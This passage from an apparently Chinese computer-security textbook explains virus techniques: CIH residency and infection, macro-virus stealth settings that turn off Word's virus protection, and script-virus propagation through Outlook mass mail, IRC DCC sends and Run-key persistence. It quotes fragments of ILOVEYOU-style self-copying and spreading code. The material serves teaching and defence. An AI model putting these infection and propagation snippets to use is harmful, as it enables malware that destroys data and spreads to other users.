(2)獲取API函數地址在Win32環境中,系統功能調用不是通過中斷實現,而是通過調用API函數實現。因此,獲取API函數的入口地址非常重要。但是,Win32PE病毒與普通的Win32PE程式不同:普通的Win32PE程式裏有一個引入函數節,程式通過這個節可以找到代碼段中所用的API函數在動態鏈接庫中的真實地址。調用API函數是,可以通過該引入函數表找到相應API函數的真正執行地址。但是,Win32PE病毒只有一個代碼段,並不存在引入函數節,因此不能直接用真實地址調用API函數。所以獲取API地址是病毒的一個重要技術。

1首先獲取Kernel32的基地址當系統打開一個可執行檔時,會調用Kernel32.dll中的CreateProcess函數。CreateProcess函數在完成裝載應用程式後,先要將一個返回地址壓入堆疊頂,然後轉向那個要裝載的應用程式。這個應用程式結束後,就將這個地址數據彈出到EIP中,繼續執行。因此,要獲得API函數地址,首先要獲得Kernel32的基地址。例如利用程式的返回地址,在其附近搜索Kernel32模組的基地址。2由已知API函數序列號或僅知的函數名,搜索API函數地址的過程

(3)搜索目標檔通常通過兩個API函數FindFiratFilehe和FindNextFile實現。(4)記憶體檔映射使用記憶體檔映射進行檔讀寫。(5)感染其他檔(6)返回到宿主程式。

3.Win32PE病毒實例——CIH病毒CIH病毒以Win32PE檔為攻擊對象。它開創了直接攻擊、破壞硬體的先例,發作時破壞FlashBIOS晶片中的系統程式,導致主板損壞,造成部分廠家的主板開機後無反應;同時,使硬碟驅動器不停地轉動,病毒以2048個扇區為單位,從硬碟主引導區開始依次往硬碟中寫入垃圾數據,直到硬碟中的全部數據被破壞。

(1)CIH病毒的基本特點·

CIH病毒很短,CIHv1.2只有1003個位元組。·可以繞過Windows的應用程式介面,繞過ActiveX、C++和C,使用彙編,利用虛擬設備驅動程式VxD,直接進入Windows內核。·採用碎洞攻擊技術,將病毒化整為零,插入到宿主檔中,因而不改變宿主檔大小。·利用多數BIOS晶片開放可重用性的特點,可以向電腦主板的BIOS端口寫如亂碼。(2)CIH病毒駐留程式的駐留過程一旦要執行帶有CIH病毒的EXE檔,由於病毒修改了該檔程式的入口地址,使調入記憶體執行的是病毒的駐留程式(長184位元組)。駐留的主要過程如下:1.取得IDT(中斷描述符)的基地址。2.把IDT的INT3的入口地址改為指向CIH自己的INT3入口,以獲得最高級別(Ring0級)的Windows許可權(可以在Windows內核執行各種操作,如終止系統運行、直接對內存讀寫、截獲各種中斷、控制I/O端口等)。

3執行INT3指令,進入自身的INT3入口程式。具體工作為:a檢查調式寄存器DR0的值,判斷CIH病毒是否已經駐留:

·不為0,表示CIH病毒已經駐留,要恢復原先的INT3入口,把控制權交給Windows;

·

為0,表示尚未駐留,CIH病毒將嘗試駐留。b將當前EBX寄存器的值賦給DR0寄存器,生成駐留標誌。c調用INT20中斷,請求系統分配兩頁Windows記憶體,以便程式長期駐留記憶體。d記憶體申請成功,將破碎的病毒程式收集起來,組合後放到申請到的記憶體空間中。e調用INT3入口程式,調用INT20,在windows內核的檔處理函數中掛接鉤子,以截取檔調用操作,以便病毒的傳染部分能在第一時間截獲要求開啟的檔調用。f將同時截獲的核心檔輸入/輸出服務程式的入口地址保存到RD0寄存器中,以便CIH病毒調用。g駐留成功,恢復宿主檔正常入口,執行宿主程式:

·恢復原來的IDT中斷表中的INT3入口,退出INT3;

·根據病毒程式隱藏的原文件的正常入口地址,跳到原來檔的正常入口。

(3)CIH病毒的感染過程CIH病毒的傳染是通過病毒主流記憶體過程中,調用Windows內核底層的IFSMgr_InstallFileSystemApiHook函數掛接鉤子時,指針指示的程式段實現。這段程式長586位元組。大致過程如下:1檔截獲:調用INT20的VxDcallUniToBCSPath系統功能調用,取回系統要開啟的檔的檔案名和路徑。2EXE檔判斷:非EXE檔,不感染,離開病毒程式,跳回Windows內核的正常檔處理程式。3PE格式判斷:取出檔識別字進行分析,若Signature=“00455000(OOPE00)”且未感染,就對其感染;否則,只發作。

4寄生計算:CIH病毒利用PE格式檔的檔頭和各個區都可能存在自由空間碎片,將病毒程式拆分成若干大小不等的塊,見縫插針地插到宿主檔的不同區內。首先要技術計算有無可以存放病毒首塊的空間。沒有這樣的空間就不感染。病毒首塊包括:·病毒塊鏈表指針區:8×(區數+1)位元組,存放每個病毒塊的首地址(每塊4位元組)及其長度(每塊4位元組);·184字的病毒駐留程式。接著將整個病毒讀入記憶體,按PE檔的各區進行計算分配。

5寫入病毒:按照計算結果,將各塊壓棧,以逆序將各塊寫入到相應自由空間。(4)CIH病毒的發作CIHv1.4在每年4月26日發作。病毒從CMOS的70、71端口取出系統當前日期進行判斷:movax,0708ut70,alinal,71 ;取當前系統月份xchgal,ahout70,alinal,71 ;取當前系統r日xorax,0426 ;判斷… ;jz病毒發作程式1.3.4巨集病毒及其關鍵技術1.巨集病毒及其發作宏是嵌入在字處理文檔或其他類型檔中的一段用宏語言編寫的可執行程式,用戶使用宏可以完成一些重複性的工作。例如,用戶可以通過宏定義一個擊鍵序列,然後就可以通過敲擊功能鍵或特定的組合鍵來啟動該宏,以減少在鍵盤上的直接操作。據美國國家電腦安全協會統計,巨集病毒大約占整個病毒的三分之一。巨集病毒所以如此猖獗,主要原因有下列一些:(1)巨集病毒感染的是文檔而不是代碼的可執行部分巨集病毒的存在和執行,依賴於系統是否具有強大的宏語言環境。Word從6.0開始,Excel從4.0開始,數據檔中就包含了宏語言功能。而電腦中具有大量這樣的文檔檔,並且人們使用極為普遍的電子郵件往往是以文檔的形式進行傳輸。這就為巨集病毒的傳播提高了方便途徑。(2)巨集病毒與平臺無關應用極為普遍的Word和Excel是巨集病毒的主要載體,所有支持Word和Excel的硬體平臺和操作系統都會感染巨集病毒。

(3)巨集病毒中有一種自動執行宏,它不需要用戶啟動,只要出現相應的執行事件,就可以自動運行。常見的自動執行宏有表1.1所示的一些。表1.1Windows的自動執行宏

表1.1Windows的自動執行宏WordExcelOffice97/2000AutoOpenAuto_OpenDocument_OpenAutoCloseAuto_CloseDocument_CloseAutoExcec

AutoExit

Document_NeweAutoNew

Auto_Activate

Auto_Deactivate

不僅Word和Excel,Access、PowerPoint、Visio、CoreDraw、WordPro也具有強大的宏語言。自Word97和Excel97之後,Microsoft逐漸將宏語言統一到VBA(VisualBASICforApplication)上。除了隨檔操作自動執行的宏,還有一類宏會隨著指定鍵或指定鍵序列的操作被自動觸發,拿到系統控制權下麵是一個在Normal範本中的AutoNew宏。當用戶新打開一個Word時,就會彈出一個提示“新建檔自動執行宏示例”的窗口。SubAutoNew()MsgBox“新建檔自動執行宏示例”,0,“巨集病毒測試”EndSub2.巨集病毒的隱藏措施(1)關閉有關提示和容易引起懷疑的操作,如OnErrorResumeNext‘出錯時不提示,繼續執行下麵語句Application.DisplayAlerts=wdAlertsNone‘不彈出警告窗口Application.DisplayStatusBar=False‘不顯示狀態欄,以免顯示宏的運行狀態Application.EnableCancelKey=wdCancelDisabled‘不可通過ESC結束當前運行的宏Application.ScreenUpdating=False‘關閉螢幕刷新,以免看到病毒引起的速度變慢Options.SaveNormalPrompt=False‘若公共模組被修改,不顯示提示窗口直接保存Options.VirusProtection=False‘關閉病毒保護:若運行前包含宏,不提示(2)遮罩一些菜單功能(如“工具|宏”等),以免被用戶手工發現。

3.巨集病毒的基本傳播過程(1)將巨集病毒依附與一個Word文檔;(2)通過電子郵件或移動存儲設備,把該文檔輸入到一個系統;(3)一個被染毒的.doc檔被打開後,會通過Auto類宏來啟動病毒,接著感染諸如normal.dot或powerup.dot等全局範本檔,得到系統的“永久”控制權。(4)宏把自身拷貝到全局宏檔中;(5)下一次啟動Word時,將啟動全局宏,並在該宏執行時會進行自我複製並破壞系統。

1.3.5腳本病毒及其關鍵技術1.腳本病毒的特點腳本是嵌入到數據文檔中執行一個任務的一組指令。最典型的腳本是嵌入到網頁中的腳本,它們可以實現網站的點擊計數器、格式處理器、即時時鐘、滑鼠效果、搜索引擎等功能。腳本由腳本語言描述。常用的腳本語言有:VBScript、Jscript、JavaScript、PerScript等。並且,腳本不是由CPU直接執行,而是有某個程式解釋,如嵌入在HTML檔(網頁)中的腳本是由流覽器解釋執行的。腳本病毒是一些嵌入在應用程式、數據文檔和操作系統中的惡意腳本。腳本病毒一般嵌入在CSC(CoreDraw)、Web(HTML、HTM、HTH、PHP)、INF(information)、REG(regisry)等檔中,主要通過電子郵件和網頁傳播。

腳本病毒中最有代表性的是用VBScript編寫的VBS病毒。VBS病毒具有如下一些特點:·編寫簡單、生產容易;·傳播範圍廣、感染力強、破壞力大;·欺騙性強、變種多。

2.腳本病毒的感染機制腳本病毒直接通過自我複製感染檔,病毒中的絕大部分代碼可以直接附加在同類程式中間。例如,新歡樂時光病毒是將自己的代碼附加在.htm的尾部,並在頂部加入一條調用病毒代碼的語句;而愛蟲病毒則直接生成一個檔的副本,將病毒代碼嵌入其中,同時將原文件名作為病毒檔的檔案名首碼,以vbs作為尾碼。

下麵是愛蟲病毒的檔感染部分的關鍵代碼:setfso=createobject(“scripting.filesystemobject”)‘創建一個檔對象setself=fso.opentextfile(wscript.sriptfullname,1)’讀當前打開檔(病毒檔)vbscopy=self.readall ’讀取全部病毒代碼到字串變數vbscopy┇setap=fso.opentextfile(目標檔.path,2,true) ’寫打開目標檔,為寫病毒代碼做準備ap.writevbscopy ‘用病毒代碼覆蓋目標檔中的代碼ap.closesetcop=fso.getfile(目標檔.path) ‘得到目標檔路徑cop.copy(目標檔.path&“.vbs) ‘創建以.vbs為尾碼的病毒檔目標檔.delete(true) ‘刪除目標檔3.腳本病毒的檔搜索尋找滿足條件的感染對象,是病毒的一個重要機能。下麵是一個設計的非常巧妙的VBS病毒的搜索函數。它採用遞歸演算法遍曆整個分區的目錄和文件。subscan(folder_) ‘搜索函數scan定義

onerrorresumenext ‘跳過錯誤,防止彈出錯誤窗口

setfolder_=fso.getfoder(folder_) setfiles=folder_.files ‘取當前目錄的所有檔集合

foreachfileinfiles ‘對檔集合中的每個檔進行測試

ext=fso.GetExtensionName(file) ‘獲取檔案名尾碼

ext=lcase(ext) ‘小寫轉換尾碼名

ifext=“mp3”then ‘以“mp3”尾碼作為條件

Wscript.echo(file) ‘用來模擬病毒感染或破壞模組

endif next setsubfolders=folder-.subfolders foreachsubfolderinsubfolders‘遞歸調用scan(),搜索其他目錄

scan(subfolder) nextendsub4.腳本病毒的傳播手段(1)通過電子郵件傳播通過電子郵件傳播的關鍵是獲得合法的電子郵件地址。下麵是一個VBS病毒的傳播演算法,它是直接取Outlook地址簿中的郵件地址。

setMAPI對象=Outlook對象.GetNameSpace(“MAPI”)//獲取MAPI的名字空間set地址對象=MAPI對象.地址表(i) //獲取地址表的個數for地址對象表中的每一個地址 獲取每個地址表的E-Mail地址數

for地址表中的每個E-Mail地址 獲取一個郵件地址對象實例 獲取具體E-Mail地址 填入收信人地址 寫入郵件郵件標題 寫入郵件內容 定義郵件附件 發送郵件 信件提交後刪除 寫病毒標記,以免重複感染

nextnext設置MAPI對象=空設置Outlook=空(2)通過局域網共用傳播在VBS中有一個對象可以實現局域網鄰居共用檔夾的搜索與檔操作。利用該對象可以實現病毒的傳播。下麵是一個簡化的傳播演算法。創建一個網路對象創建一個網路印表機連接列表顯示每台網絡印表機連接情況創建一個網路共用連接列表尋找目標驅動器感染(3)通過網頁檔傳播這裏主要介紹通過htm感染的機理。腳本病毒通過htm網頁傳播依賴於FSO(FileSystemObject,檔系統對象)和WSH(WindowsScriptHost,Windows腳本宿主)對象。WSH可以理解為內嵌於Windows操作系統中的腳本語言工作環境。它較多地考慮了“非交互性腳本“的需要,使腳本功能非常強大,例如:·實現網路驅動器·檢索並修改環境變數·處理註冊表項·對檔系統進行操作·管理員用其支持功能創建簡單的登陸腳本·編寫腳本管理活動目錄這些功能主要通過內置的WSH對象實現。WSH共有14個內置對象,它們分別具有不同的功能。腳本病毒通過htm網頁傳播的關鍵是使FSO和WSH對象能夠在網頁內運行。通常,要先對COM進行初始化,在獲取相應的組件對象後,病毒就可以正確地使用FSO和WSH兩個對象。下麵給出一段病毒代碼。其中{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}(WindowsScriptHostshellObject){0D43FE01-F093-11CF-8940-00A0C9054228}(FileSystemObject)是註冊表中WSH和FSO的兩個主鍵。SetAppleObject=document.applets(“KJ_guest”)AppleObject.setCLSID(“{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}”)AppleObject.createInstance() ‘創建一個實例SetWsShell=AppleObject()AppleObject.setCLSID(“{0D43FE01-F093-11CF-8940-00A0C9054228}”)AppleObject.createInstance() ‘創建一個實例SetFSO=AppleObject()

(4)通過IRC聊天通道傳播這裏僅以MIRC()為例來說明病毒通過IRC傳播的過程。由於控制IRC會話的命令存放在Script.ini中。並且Script.ini檔中的命令是可以自動執行的。因此,IRC病毒傳播的關鍵是在Script.ini檔中寫一些代碼,利用某些命令給通道中的其他用戶傳送病毒檔,使得用戶使用被感染的通道時,都會收到一份病毒檔。下麵是一般通過IRC傳播病毒代碼。Dimmircsetfso=CreateObject(‘Seripting.FileSystemObject”) setmirc=fso.CreateTextFile(“C:\mirc\script.ini”) ‘創建檔

script.ini fso.CopyFileWscript.ScriptFullName,“C:\mirc\attachmemnt.vbs”,True ‘將病毒檔備份到attachment.vbs mirc.WriteLine“[script]” mirc.WriteLine“n0=on1:join:*.*:{if($nick!=$me){halt}/dccsend$nickC:\mirc\attachment.vbs}” ‘利用命令/ddcsend$nickattachment.vbs給通道中的其他用戶傳送病毒檔

mirc.Close

5.腳本病毒獲得控制權的方法獲取控制權的能力是病毒的關鍵能力,下麵介紹腳本病毒獲取控制權的幾種典型方法。(1)修改註冊表Windows啟動時會自動加載一些程式。這些程式是下麵的項下的鍵值所指向的程式:HKEY_LOCAL-MACHINE\\SOFTWARE\Microsoft\Windows\Current\Version\Run利用這一特點,病毒也可以在此項下加一個鍵值,讓這個鍵值指向病毒程式,這樣就能保證在每次電腦啟動時病毒能取得控制權。(2)修改執行方式例如新歡樂時光將dll的執行方式修改為wscript.exe,也可以將exe檔的映射指向病毒代碼。

(3)引誘用戶執行主要辦法是讓用戶產生錯覺。如病毒發送附件時,採用雙尾碼檔案名,使用戶產生錯覺。例如,使用檔案名xxxx.jpg.vbs。由於默認情況下不顯示尾碼,所以這個雙尾碼檔被顯示為xxxx.jpg,用戶將其誤認為是圖片檔而去點擊,執行了病毒程式。(4)desktop.ini和folder.htt配合使用desktop.ini和folder.htt可用以配置活動桌面,並用以自定義檔夾。如果用戶的目錄中含有著兩個檔,並且病毒感染了folder.htt,則當用戶進入該目錄時,就會觸發folder.htt中的病毒代碼。

6.VBS腳本病毒的弱點(1)VBS腳本病毒的運行,往往要用到一個對象:FileSystemObject。(2)VBS腳本病毒運行時需要其關聯程式wscript.exe的支持。(3)VBS代碼要通過WindowsAcriptHost解釋執行。(4)通過網頁傳播的病毒需要ActiveX的支持。(5)通過郵件傳播的病毒需要OutlookExpress的自動發送郵件功能的支持。這些弱點可以被用於病毒的防治。例如,禁用對象FileSystemObject

用regsvr32scrrun.dll/u命令,或者直接查找scrrun.dll檔加以刪除或改名)可以有防範作用。

1.3.6電腦病毒技巧俗話說,道高一尺,魔高一丈。電腦病毒也隨著反病毒技術的發展不斷演變、升級。下麵是電腦病毒在技術方面的一些技巧。1.增強隱秘性為了使病毒能長期潛伏,病毒就要增強自己的隱秘性。下麵是幾種增強隱秘性的技術。(1)避開修改中斷變數:早期的病毒程式都要直接修改中斷服務副程式,以控制常用中斷功能。因此,許多反病毒軟體都對系統的中斷向量表進行監視,一旦發現任何對系統記憶體中斷向量表進行修改的操作,就會懷疑有病毒在活動。針對這一反病毒技術,病毒程式就要避免修改中斷向量表時留下痕跡。

例如,有的病毒程式,改修改中斷向量的控制方式為通過修改中斷服務副程式,來獲得系統控制權。一種方法是前面介紹過的通過修改COM檔首指針的方法修改中斷服務程式,基本步驟為:·從中斷向量表中動態獲得中斷服務副程式入口;·將該入口開始的3~5位元組的指令內容保存到病毒體工作區;·修改原入口處的指令為轉移指令,轉向病毒的中斷服務副程式入口;·執行完病毒副程式後,再轉向正常的服務副程式入口。

(2)謀求在

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论